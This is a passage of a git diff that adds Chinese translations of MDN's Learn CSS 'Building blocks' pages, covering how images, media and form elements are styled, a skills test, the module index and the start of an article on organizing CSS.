在保留问题可重现的情况下把代码量尽量减少。</li> + <li>删除掉任何不影响问题的 CSS。</li> +</ol> + +<p>在执行此操作的过程中,您可能会发现导致问题的原因,或者至少能够通过删除特定的东西来打开和关闭它。 当发现一些东西时,应该在代码中添加一些注释。 如果您需要帮助,这些注释将向帮助您的人显示您已经做了哪些尝试。 这很可能会为您提供足够的信息,以便能够搜索可能存在的问题和解决方法。</p> + +<p>如果您还没有解决问题,那么减化测试用例可以通过发布到论坛或向同事展示来为寻求帮助提供依据。 如果能够表明在寻求帮助之前您已经完成了简化问题并准确确定问题根源的工作,那么会帮助您更容易地获得帮助。 一个更有经验的开发人员也许能够迅速发现问题并为您指明正确的方向,即使没有,您简化的测试用例也可以使他们快速查看并能够至少提供一些帮助。</p> + +<p>如果您的问题实际上是浏览器中的错误,则还可以使用简化的测试用例向相关的浏览器供应商提交错误报告(e.g. on Mozilla's <a href="https://bugzilla.mozilla.org">bugzilla site</a>)。</p> + +<p>随着对 CSS 的使用经验越来越丰富,您会发现发现问题的速度越来越快。 但是,即使我们中最有经验的人有时也会发现自己想知道到底发生了什么。 采取有条不紊的方法,简化测试用例,并向他人解释问题,通常会找到解决方法。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing"> </a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/images_media_form_elements/index.html b/files/zh-cn/learn/css/building_blocks/images_media_form_elements/index.html new file mode 100644 index 0000000000..df40d19a93 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/images_media_form_elements/index.html @@ -0,0 +1,199 @@ +--- +title: 图像、媒体和表单元素 +slug: Learn/CSS/Building_blocks/Images_media_form_elements +tags: + - CSS 媒体 替换内容 +translation_of: Learn/CSS/Building_blocks/Images_media_form_elements +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</div> + +<p>在这节课里,我们来看一下,在CSS中,某些特殊元素是怎样处理的。图像、其他媒体和表格元素的表现和普通的盒子有些不同,这取决于你使用CSS格式化它们的能力。理解什么可能做到,什么不可能做到能够省些力气,本节课将会聚焦于一些你需要知道的主要的事情上。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习前提:</th> + <td>基础的电脑技能、<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">安装了必要的软件</a>、<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>的基本知识、HTML基础(学习<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>)和对CSS工作原理的大致理解(学习<a href="/en-US/docs/Learn/CSS/First_steps">CSS first steps</a>)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>.理解元素在经由CSS样式化时,是如何不一样地展现的。</td> + </tr> + </tbody> +</table> + +<h2 id="替换元素">替换元素</h2> + +<p>图像和视频被描述为<strong><a href="/zh-CN/docs/Web/CSS/Replaced_element">替换元素</a></strong>。 这意味着CSS不能影响这些元素的内部布局-仅影响它们在页面上于其他元素中的位置。 但是,正如我们将看到的,CSS可以对图像执行多种操作。</p> + +<p>某些替换元素(例如图像和视频)也被描述为具有宽高比。 这意味着它在水平(x)和垂直(y)尺寸上均具有大小,并且默认情况下将使用文件的固有尺寸进行显示。</p> + +<h2 id="调整图像大小">调整图像大小</h2> + +<p>正如你从之前的几节课中所学到的那样,CSS中万物皆盒。如果你把一张图片放在一个盒子里,它的原始长和宽都比盒子的小或大,它要么比盒子显得小,要么从盒子里面溢出出去。你需要决定怎么处理溢出。</p> + +<p>在下面的示例中,我们有两个盒子,大小均为200像素:</p> + +<ul> + <li>一个包含了一张小于200像素的图像,它比盒子小,所以不会拉伸以充满盒子。</li> + <li>另一张图像大于200像素,从盒子里面溢出。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/images/size.html", '100%', 1000)}}</p> + +<p>所以我们能怎么处理溢出问题呢?</p> + +<p>正如我们在<a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">我们之前的课程</a>里面所学的那样,一个常用的技术是将一张图片的{{cssxref("max-width")}}设为100%。这将会允许图片尺寸上小于但不大于盒子。这个技术也会对其他替换元素(例如<code><a href="/zh-CN/docs/Web/HTML/Element/video"><video></a></code>,或者<code><a href="/zh-CN/docs/Web/HTML/Element/iframe"><iframe></a></code>)起作用。</p> + +<p><strong>尝试向上面的示例中的<code><img></code>元素加入<code>max-width: 100%</code>,你会看到,小的图像不变,而大的变小了,能够放在盒子里。</strong></p> + +<p>你可以对容器内的图像作其他选择,例如,你可能想把一张图像调整到能够完全盖住一个盒子的大小。</p> + +<p>{{cssxref("object-fit")}}属性可以在这里帮助你。当使用<code>object-fit</code>时,替换元素可以以多种方式被调整到合乎盒子的大小。</p> + +<p>下面,我们已经使用了值<code>cover</code>,缩小了图像,维持了图像的比例,所以图像可以整齐地充满盒子,同时由于比例保持不变,图像的一部分将会被盒子裁切掉。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/images/object-fit.html", '100%', 1000)}}</p> + +<p>如果我们将<code>contain</code>作为值,图像将会缩放到足以放到盒子里面的大小。如果它和盒子的比例不同,这将会导致“开天窗”的结果。</p> + +<p>你可能也想试试<code>fill</code>值,它可以让图像充满盒子,但是不会维持比例。</p> + +<h2 id="布局中的替换元素">布局中的替换元素</h2> + +<p>在替换元素使用各式CSS布局技巧时,你可能深切地体会到他们的展现略微与其他元素不同,例如,在一个flex或者grid布局中,元素默认会把拉伸到充满整块区域。图像不会拉伸,而是会被对齐到网格区域或者弹性容器的起始处。</p> + +<p>你可以看到这在下面的示例中发生了,下面的示例有个两列两行的网格容器,里面有四个物件。所有的<code><div></code>元素有自己的背景色,拉伸到了充满行和列的地步。但是,图像并没有被拉伸。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/images/layout.html", '100%', 1000)}}</p> + +<p>如果你是按顺序读这些课,那么你可能还没有看到布局的部分,只要记住替换元素在成为网格或者弹性布局的一部分时,有不同的默认行为,这很必要,避免了他们被布局奇怪地拉伸。</p> + +<p>为了强制图像拉伸,以充满其所在的网格单元,你必须仿照下面做点事情:</p> + +<pre class="brush: css notranslate">img { + width: 100%; + height: 100%; +}</pre> + +<p>这将会无条件地拉伸图像,所以很可能不会是你想要的。</p> + +<h2 id="form元素">form元素</h2> + +<p>用CSS格式化表单元素是一个需要技巧的工作,<a href="/zh-CN/docs/Learn/HTML/Forms">HTML Forms module</a> 包含了详细的格式化表单元素的指导,所以我在这里不会全部复述。在本文的这一节有一些关键的值得关注的基础。</p> + +<p>许多表格的控制是通过<code><a href="/zh-CN/docs/Web/HTML/Element/input"><input></a></code>元素的方式实现的,这定义了简单的表格区域,例如文字输入,更进一步还有HTML5新加入的更加复杂的区域,例如颜色和日期撷取器。另外还有一些其他元素,例如用于多行文本输入的<code><a href="/zh-CN/docs/Web/HTML/Element/textarea"><textarea></a></code>,以及那些用来包含和标记表格的一些部分的元素,例如<code><a href="/en-US/docs/Web/HTML/Element/fieldset"><fieldset></a></code>和<code><a href="/en-US/docs/Web/HTML/Element/legend"><legend></a></code>。</p> + +<p>HTML5还涵盖了一些特性,它们允许Web开发者表示哪些区域是必填的,甚至还能标识待填入的内容类型。如果用户输入了一些未预料的内容,或者让必填区域空白,浏览器会显示一个错误信息。不同的浏览器在它们给这样的物件的样式化和自定义余地的问题上,并没有达成一致。</p> + +<h3 id="样式化文本输入元素">样式化文本输入元素</h3> + +<p>允许文本输入的元素,例如<code><input type="text"></code>,特定的类型例如<code><input type="email"></code>以及<code><textarea></code>元素,是相当容易样式化的,它们会试图表现得和在你的页面上其他盒子一样。不过这些元素默认的样式化方式会改变,取决于你的用户访问站点时所使用的操作系统和浏览器。</p> + +<p>在下面的示例中,我们已经将一些文本输入用CSS样式化了,你可以看到例如边框、内外边距之类的东西都像你想要的那样生效了。我们正在使用特性选择器来指向不同的输入类型。尝试通过改变边框、向输入区域增加背景色、改变字体和内边距的方式来改变表单的外观。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/images/form.html", '100%', 1000)}}</p> + +<div class="blockIndicator warning"> +<p><strong>重点</strong>:你应该在改变表单样式的时候小心,确保对于用户而言,它们仍然很容易被认出来是表单元素。你也许可以建立一个无边框的表单输入,其背景也与周围的内容难以区分开来,但是这会让表单很难识别和填入。</p> +</div> + +<p>正如在本教程的HTML部分的<a href="/zh-CN/docs/Learn/HTML/Forms/Styling_HTML_forms">form styling</a>课里解释的那样,许多更加复杂的输入类型是由操作系统渲染的,无法进行样式化。因而你应该总是假设表单在不同的访客看来十分不同,并在许多浏览器上测试复杂的表单。</p> + +<h3 id="继承和表单元素">继承和表单元素</h3> + +<p>在一些浏览器中,表单元素默认不会继承字体样式,因此如果你想要确保你的表单填入区域使用body中或者一个父元素中定义的字体,你需要向你的CSS中加入这条规则。</p> + +<pre class="brush: css notranslate"><code>button, +input, +select, +textarea { + font-family : inherit; + font-size : 100%; +} </code></pre> + +<h3 id="form元素与box-sizing">form元素与box-sizing</h3> + +<p>跨浏览器的form元素对于不同的挂件使用不同的盒子约束规则。你已经在<a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">我们的盒模型课</a>中学习了<code>box-sizing</code>属性,在样式化表单时候,你可以使用这一知识,确保在给form元素设定宽度和高度时可以有统一的体验。</p> + +<p>为了保证统一,将所有元素的内外边距均设为<code>0</code>是个好主意,然后在单独进行样式化控制的时候将这些加回来。</p> + +<pre class="brush: css notranslate"><code>button, +input, +select, +textarea { + box-sizing: border-box; + padding: 0; + margin: 0; +}</code></pre> + +<h3 id="其他有用的设置">其他有用的设置</h3> + +<p>除了上面提到的规则以外,你也应该在<code><textarea></code>上设置<code>overflow: auto</code> 以避免IE在不需要滚动条的时候显示滚动条:</p> + +<pre class="brush: css notranslate">textarea { + overflow: auto; +}</pre> + +<h3 id="将一切都放在一起“重置”">将一切都放在一起“重置”</h3> + +<p>作为最后一步,我们可以将上面讨论过的各式属性包起来,成为以下的“表单重置”,以提供一个统一的在其上继续进行工作的地基,这包含了前三节提到的所有东西:</p> + +<pre class="brush: css notranslate"><code>button, +input, +select, +textarea { + font-family: inherit; + font-size: 100%; + box-sizing: border-box; + padding: 0; margin: 0; +} + +textarea { + overflow: auto; +} </code></pre> + +<div class="blockIndicator note"> +<p><strong>备注</strong>:通用样式表被许多开发者用作所有项目的一系列基础样式,典型就是那些做了和以上提到相似的事情的那些,在你开始自己的CSS作业前,它确保了跨浏览器的任何事情都被默认设定为统一样式。它们不像以往那么重要了,因为浏览器显著地要比以往更加统一。但是,如果你想要看一个例子,可以看看这个<a href="http://necolas.github.io/normalize.css/">Normalize.css</a>,它被许多项目用作基础,是非常流行的样式表。</p> +</div> + +<p>至于样式化表单的更加深入的信息,可以看下这些教程的HTML一节的这两篇文章:</p> + +<ul> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML Forms</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced Styling for HTML Forms</a></li> +</ul> + +<h2 id="测试你的技能">测试你的技能</h2> + +<p>我们在本文中介绍了很多内容,但是您记住最重要的内容了么? 在继续之前,您可以通过一些其他测试来验证您是否真正学习到了这些知识,参见<a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_tasks">技能测试</a></p> + +<h2 id="小结">小结</h2> + +<p>这节课致力于说明在你用CSS处理图像、媒体和其他不普通的元素时,你会遇到的不同之处。在下篇文章中,我们将会了解一些在你样式化HTMl表格时有用的技巧。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/images_tasks/index.html b/files/zh-cn/learn/css/building_blocks/images_tasks/index.html new file mode 100644 index 0000000000..e13de7128d --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/images_tasks/index.html @@ -0,0 +1,69 @@ +--- +title: 技能测试:图片和表格元素 +slug: Learn/CSS/Building_blocks/Images_tasks +translation_of: Learn/CSS/Building_blocks/Images_tasks +--- +<div>{{LearnSidebar}}</div> + +<div></div> + +<p>该任务的目的是帮助您检查对我们在本课程<a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, Media and Form elements</a>(图像,媒体及表格元素)中了解的一些值和单位的理解。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:您可以在下面的交互式编辑器中尝试解决方案,但是下载代码并使用诸如<a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, <a href="https://glitch.com/">Glitch</a> 之类的在线工具来完成任务可能会更加有所帮助。<br> + <br> + 如果你遇到困难,联系我们获得帮助 — 参见页面底部的{{anch("评价以及更多帮助")}}</p> +</div> + +<h2 id="任务一">任务一</h2> + +<p>在此任务中,您有一张溢出盒子的图像。 我们希望图像缩小到适合盒子的大小,而没有多余的空白,并不介意某些图像是否被裁剪。</p> + +<p><img alt="An image in a box" src="https://mdn.mozillademos.org/files/17143/mdn-images-object-fit.png" style="height: 384px; width: 746px;"></p> + +<p>在下面的例子中看看你能否能符合上面的图片</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/images/object-fit.html", '100%', 1000)}}</p> + +<div class="blockIndicator note"> +<p>为了为了评估或进一步完成任务,请<a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/images/object-fit-download.html">下载此任务的起点</a>,以便在您自己的编辑器或在线编辑器中工作。</p> +</div> + +<h2 id="任务二">任务二</h2> + +<p>在此任务中,您会获得一个简单的表格。 您的任务是对该表单的外观进行以下更改:</p> + +<ul> + <li>使用属性选择器定位.myform中的<strong>搜索(search)</strong>字段和按钮。</li> + <li>使表单字段和按钮使用与表单其余部分相同的文本大小。</li> + <li>给表单字段和按钮设置10像素的内边距。</li> + <li>为按钮提供紫色背景,白色前景,无边框和5px的圆角。</li> +</ul> + +<p><img alt="A single line form" src="https://mdn.mozillademos.org/files/17144/mdn-images-form.png" style="height: 120px; width: 1254px;"></p> + +<p>尝试更改下面的实时代码以重新创建图像中显示的示例:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/images/form.html", '100%', 600)}}</p> + +<div class="blockIndicator note"> +<p>为了为了评估或进一步完成任务,请<a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/images/form-download.html">下载此任务的起点</a>,以便在您自己的编辑器或在线编辑器中工作。</p> +</div> + +<h2 id="评价以及更多帮助">评价以及更多帮助</h2> + +<p>您可以在上面提到的交互式编辑器中练习这些示例。</p> + +<p>如果您希望对自己的工作进行评估,或者遇到困难并希望寻求帮助,请执行以下操作:</p> + +<ol> + <li>将您的工作上传到在线共享编辑器中,例如 <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, <a href="https://glitch.com/">Glitch</a>.。 您可以自己编写代码,也可以使用以上部分中链接到的起点文件。</li> + <li>在<a href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. “学习”类别中写一篇帖子,要求评估帮助。 您的帖子应包括:</li> +</ol> + +<ul> + <li>描述性标题,例如“<strong>Assessment wanted for Images skill test 1”</strong>。</li> + <li>您已经尝试过的内容以及您希望我们做什么的详细信息,例如 <strong>如果您陷入困境并需要帮助</strong>,或者<strong>需要评估</strong>。</li> + <li>指向您要评估或需要帮助的示例的链接(如上面的步骤1中所述)。 这是很好好习惯-如果看不到代码,很难帮助存在问题的人。</li> + <li>指向实际任务或评估页面的链接,因此我们可以找到您需要帮助的问题。</li> +</ul> diff --git a/files/zh-cn/learn/css/building_blocks/index.html b/files/zh-cn/learn/css/building_blocks/index.html new file mode 100644 index 0000000000..f4967d344e --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/index.html @@ -0,0 +1,87 @@ +--- +title: CSS构建 +slug: Learn/CSS/Building_blocks +translation_of: Learn/CSS/Building_blocks +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">这个模块承接<a href="/zh-CN/docs/Learn/CSS/First_steps">学习CSS 第一步</a>——即你对(CSS)语言和其语法已经足够熟悉、并且有了一些基本的使用经验,该是稍微深入点学习的时候了。这个模块着眼于级联和继承,所有可供使用的选择器类型,单位,尺寸,背景、边框样式,调试,等等等等。</p> + +<p class="summary">本文目标是,在你进一步了解 <a href="/zh-CN/docs/Learn/CSS/为文本添加样式">为文本添加样式</a>和<a href="/zh_CN/docs/Learn/CSS/CSS_layout">CSS布局</a>之前,为你提供一个助你写出合格CSS和理解所有基本理论的工具箱。</p> + +<h2 id="先决条件">先决条件</h2> + +<p>在开始本模块之前,你应该已经掌握:</p> + +<ol> + <li>使用计算机的基本知识,能够被动使用网络(也就是查看网页的内容)。</li> + <li>建立基本工作环境(详见<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a>),知道如何建立和管理文档(详见<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>)。</li> + <li>HTML基础知识(参见<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML介绍</a>模块)。</li> + <li>CSS基础知识(参见<a href="/zh-CN/docs/Learn/CSS/First_steps">学习CSS 第一步</a>模块)。</li> +</ol> + +<div class="note"> +<p><strong>注意:</strong>如果你此刻正使用一台电脑/笔记本/其他设备,而你无法创建自己的文件,那你可以在诸如JSBin或Thimble等网络编辑程序上尝试(多数)程序案例。 </p> +</div> + +<h2 id="指南">指南</h2> + +<p>本模块包含以下文章,这些文章覆盖了绝大部分CSS语言基础。在学习这些文章的过程中,会有很多练习题供你检验自己的理解程度。</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承 </a></dt> + <dd>本节目标是帮你建立对——层叠、优先级和继承——这三个最基本的CSS概念的理解。这些概念控制着CSS如何应用于HTML以及应用时的优先顺序。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a></dt> + <dd>有各种类型的CSS选择器,以供我们精确选出要添加样式的元素。在本文及其子文章中,我们会详细过一遍不同类型的选择器,以此窥探CSS选择器的运行机理。子文章包括了:</dd> + <dd> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">类型、类以及ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类与伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></dt> + <dd>所有CSS都是包在盒子里的,那么理解这些盒子就是让我们能够创建CSS布局或排列元素的关键点了。为了接下来能完成编写复杂布局的任务,本节我们会认真看看<em>CSS盒模型</em>,了解其原理及相关术语。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框 </a></dt> + <dd>在这一节课中,我们将会看一下你可以用CSS对背景和边框进行哪些创新。通过添加渐变、背景图片和圆角,背景和边框可以解决许多CSS中的样式问题。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同的文本方向</a></dt> + <dd>最近几年来,CSS进行了演化,以更好地支持不同方向的内容,既包括自左至右,又包括自上至下(如日语)的内容——这些不同的排布方向被称作书写模式。随着你在这部分学习中不断前进并开始设计网页布局,理解书写模式将会非常有帮助,因此我们会在本文中进行介绍。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></dt> + <dd>这一节我们会关注CSS中的另一个重要的概念——溢出。溢出发生在一个盒子中包含了过多内容以致超出适当的范围时。在这篇指南中,你将学到什么是溢出以及如何处理它。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></dt> + <dd>CSS中每一个属性都有一个取值或者一系列合理的取值。这一节,我们将了解一些最常用的取值和单位。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></dt> + <dd>通过目前为止的一系列课程,你已经了解了许多使用CSS调整网页项目大小的方法。了解你所设计的不同特性将呈现的大小很重要,我们将在这节课中总结使用CSS调整大小的不同方法,并定义几个有关尺寸的术语,这将对你有所帮助。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图片、媒体和表单元素</a></dt> + <dd>在这一节,我们会了解CSS是如何处理一些特殊元素的。与常规的盒子相比,图片、其他媒体和表格元素对你使用CSS设置样式的能力提出了不同的要求。理解什么能够实现和什么不能够实现将会免去你一些沮丧,这节课会突出一些你需要了解的主要问题。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></dt> + <dd>设计HTML表格的样式并不是多么美妙的工作,但有时却是我们都需要去做的。这篇文章通过突出一些特定的表格样式技巧,为设计好看的HTML表格提供了一份指南。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></dt> + <dd>有时在编写CSS的过程中,你会遇到这样一个问题:你的CSS并没有实现你想要的效果。这篇文章将为你提供指导,教你如何调试CSS问题,以及如何使用所有现代浏览器带有的开发者工具找到问题所在。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a></dt> + <dd>当你开始处理更大的样式表和项目时,你将会发现维护一个庞大的样式表非常具有挑战性。在这篇文章中,我们将会简要了解使得CSS易于维护的最佳做法,以及其他人所使用的一些有助于增进可维护性的解决方案。</dd> +</dl> + +<h2 id="评估">评估</h2> + +<p>想要测试一下你的CSS技能吗?下面这些评估将测试你对以上那些指南中的CSS技能的掌握。</p> + +<p><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension">CSS基本了解</a></p> + +<p>这项评估测试你对基本语法、选择器、特异性、盒子模型的掌握。</p> + +<p><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper">设计漂亮的信头信笺</a></p> + +<p>如果你想留下良好的印象,用一张漂亮的信头信笺写一封信一定是个好的开始。在这一评估中,你将挑战创建这样一个漂亮的网络样板。</p> + +<p><a href="/zh-CN/docs/Learn/CSS/Building_blocks/A_cool_looking_box">一个炫酷的盒子</a></p> + +<p>在这里,你将练习使用背景和边距来创建一个吸引眼球的盒子。</p> + +<h2 id="另见">另见</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Advanced_styling_effects">高级区块效果</a></dt> + <dd>这篇文章展示了盒子的小技巧,提供了一些高级特性的介绍,这些特性不适合其他类别的样式,比如盒子阴影、混合模式和滤镜。</dd> +</dl> diff --git a/files/zh-cn/learn/css/building_blocks/organizing/index.html b/files/zh-cn/learn/css/building_blocks/organizing/index.html new file mode 100644 index 0000000000..6a8b1b7162 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/organizing/index.html @@ -0,0 +1,350 @@ +--- +title: 组织CSS +slug: Learn/CSS/Building_blocks/Organizing +translation_of: Learn/CSS/Building_blocks/Organizing +--- +<div>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</div> + +<p>在开始在更大的样式表和大项目上作业的时候,你会发现维护一个大型的CSS文件很有挑战性。在本文中,我们将会简要看一下在编写你的CSS时,让它更加易于维护的一些最佳实践,以及你会在其他人那里看到的,用来增强可维护性的解决方案。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>电脑的基本操作,<a href="https://developer.mozilla.org/zh-CN/Learn/Getting_started_with_the_web/Installing_basic_software">安装了必要的软件</a>,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>的基本知识, HTML基础(学习<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML介绍</a>),了解CSS的工作方式(学习<a href="/zh-CN/docs/Learn/CSS/First_steps">CSS入门</a>。)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习组织样式表的一些技巧和最佳实践,了解一些命名常规和在组织CSS以及团队协作时广泛使用的工具。</td> + </tr> + </tbody> +</table> + +<h2 id="保持你的CSS整洁的技巧">保持你的CSS整洁的技巧</h2> + +<p>这里有一些关于保持你的样式表整整齐齐的方式的普适性建议。</p> + +<h3 id="你的项目有代码风格规范吗?">你的项目有代码风格规范吗?</h3> + +<p>如果你在和一个小组共同协作完成一个已有的项目,需要检查的第一件事是这一项目是否已经有了CSS的代码风格规范。小组的代码风格规范应当总是优先于的个人喜好。做事情很多时候没有对错之分,但是统一是很重要的。</p> + +<p>例如你可以看下<a href="/zh-CN/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS">MDN的CSS代码规范的示例。</a>.</p> + +<h3 id="保持统一">保持统一</h3> + +<p>如果你开始为项目指定规则或者独自工作,那么最重要的事情是让各方面都保持统一。统一在所有的地方都会起到实际作用,例如对类使用相同的命名常规,选择一种描述颜色的方式,或者维护一个统一的格式化方式(例如你是使用Tab还是空格来缩进代码?如果是代码,用多少个?)</p> + +<p>一直遵守一系列规则,你会在编写CSS的时候省去不少精神上的预负担,因为一些决定已经定型了。</p> + +<h3 id="将CSS格式化成可读的形式">将CSS格式化成可读的形式</h3> + +<p>你可以看到很多CSS格式化的方式,一些开发者将所有的规则放在一行里面,像是这样:</p> + +<pre class="brush: css">.box { background-color: #567895; } +h2 { background-color: black; 